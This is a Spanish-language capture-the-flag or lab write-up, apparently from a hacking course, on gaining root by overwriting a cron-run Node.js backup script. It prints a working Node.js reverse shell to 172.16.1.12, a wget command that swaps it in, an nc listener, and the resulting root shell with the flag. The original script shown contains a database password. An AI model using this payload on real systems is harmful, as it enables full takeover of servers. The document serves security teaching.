Escalacion de privilegios usando crontabs

Hemos identificado un script index.js en el directorio /srv/Backup_Invoices que se ejecuta bajo el usuario root, como lo indican los permisos de los archivos en el directorio Bk. Este script está diseñado para generar archivos de respaldo en formato JSON basados en consultas a la base de datos techshop_db y guardarlos en el directorio Bk con permisos de root.

El hecho de que este script sea ejecutado por el usuario root presenta una oportunidad significativa de escalación de privilegios, ya que si logramos modificar el contenido del script, podremos ejecutar comandos con privilegios de root.

Análisis del Script Original

El script original en JavaScript (Node.js) tiene la siguiente estructura:

╭─[/srv/Backup_Invoices]─[gerh@spartan]─[1]─[27]                               
╰─[:(] % ls -la Bk
total 3384
-rw-r--r-- 1 root root        3858 Sep 29 18:36 2024-9-29-6-36.json
-rw-r--r-- 1 root root        3858 Sep 29 18:39 2024-9-29-6-39.json

╭─[/srv/Backup_Invoices]─[gerh@spartan]─[0]─[28]                               
╰─[:)] % cat index.js
var fs = require('fs');
var mysql = require('mysql');
var moment = require('moment');

var connection = mysql.createConnection({
  host: "localhost",
  database:"techshop_db",
  user: "gerh",
  password: "0.0.0.0:3306/Tech"
});

connection.connect();

connection.query('SELECT * FROM detalle_factura', function(err, results, fields) {
    if(err) throw err;

    var date = moment().format('YYYY-M-D-h-mm');
    console.log(date)
    fs.writeFile('/srv/Backup_Invoices/Bk/'+date+'.json', JSON.stringify(results), function (err) {
      if (err) throw err;
      console.log('Saved!');
    });

    connection.end();
});

Este script se ejecuta de manera periódica o en momentos específicos y genera archivos de respaldo. El hecho de que estos archivos se creen con permisos de root muestra que el script es invocado con privilegios elevados, lo que nos abre una posibilidad clara de explotación.

Modificación del Script para Escalar Privilegios

Para aprovechar esta oportunidad, modificamos el script para que en lugar de generar archivos de respaldo, cree una reverse shell que nos otorgue acceso a la terminal con privilegios de root. Aquí está la versión modificada del script:

var net = require("net")
var sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(7000, "172.16.1.12", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

Para la transferencia del archivo y actualizar el contenido del script simplemente nos autenticamos sobre el servidor de WordPress e iniciamos el servicio de HTTP:

┌──(root㉿kali)-[/home/kali/Desktop/CPPJ]
└─# ssh -i CursoHackingJunior.pem admin@44.214.248.132
admin@ip-172-16-1-12:/tmp$ nano revshell.js 
admin@ip-172-16-1-12:/tmp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
╭─[/srv/Backup_Invoices]─[gerh@spartan]─[0]─[31]                               
╰─[:)] wget http://172.16.1.12:8000/revshell.js -O index.js^[[201~
Connecting to 172.16.1.12:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 229 [application/javascript]
Saving to: ‘index.js’

index.js            100%[===================>]     229  --.-KB/s    in 0s      

2024-09-29 18:46:49 (56.8 MB/s) - ‘index.js’ saved [229/229]

Este script crea una conexión desde el servidor hacia la dirección 172.16.1.12 en el puerto 7000, y establece una shell interactiva de bash que nos permitirá ejecutar comandos como root.

Ejecución Automática: Cuando el script index.js se ejecuta por el sistema (automáticamente), la reverse shell se conecta a nuestra máquina atacante, otorgándonos acceso como root en el servidor comprometido:

admin@ip-172-16-1-12:/tmp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.16.1.6 - - [29/Sep/2024 23:46:49] "GET /revshell.js HTTP/1.1" 200 -

admin@ip-172-16-1-12:/tmp$ nc -nvlp 7000
Listening on 0.0.0.0 7000
Connection received on 172.16.1.6 44712
whoami
root

cd /root

ls -la
total 60
drwx------  7 root root 4096 Sep 25 22:25 .
drwxr-xr-x 18 root root 4096 Apr 23  2021 ..
-rw-r--r--  1 root root 1456 Sep 25 22:37 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root   31 Sep 17 10:37 CPPJ.txt
drwx------  3 root root 4096 Apr 26  2021 .gnupg
drwxr-xr-x  3 root root 4096 Apr 26  2021 .local
-rw-------  1 root root  411 May  1  2021 .mysql_history
drwxr-xr-x  6 root root 4096 Sep 25 21:59 .npm
drwxr-xr-x  5 root root 4096 Sep 25 22:37 .pm2
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rwx------  1 root root   32 Apr 25  2021 root.txt
-rw-r--r--  1 root root   66 May  1  2021 .selected_editor
drwx------  2 root root 4096 May  4  2021 .ssh
-rw-r--r--  1 root root  278 Sep 25 22:16 .wget-hsts

cat root.txt
1030e6796ff8b55b615bb0cf05a363d3  

cat CPPJ.txt
Spartan-Cybersecurity is Here!

id
uid=0(root) gid=0(root) groups=0(root)

Conclusión

Este escenario ilustra una escalación de privilegios exitosa debido a la ejecución de un script que se ejecuta como root pero que puede ser modificado por usuarios con menos privilegios. Al modificar el script para generar una reverse shell, logramos obtener acceso total al sistema con privilegios de root, permitiéndonos controlar completamente el servidor.

Este tipo de vulnerabilidades, donde scripts con permisos elevados pueden ser alterados por otros usuarios, son comunes en entornos donde las configuraciones de permisos no están adecuadamente aseguradas. Es crucial que los administradores de sistemas protejan estos archivos críticos mediante permisos restrictivos y buenas prácticas de seguridad para evitar este tipo de explotaciones.

Last updated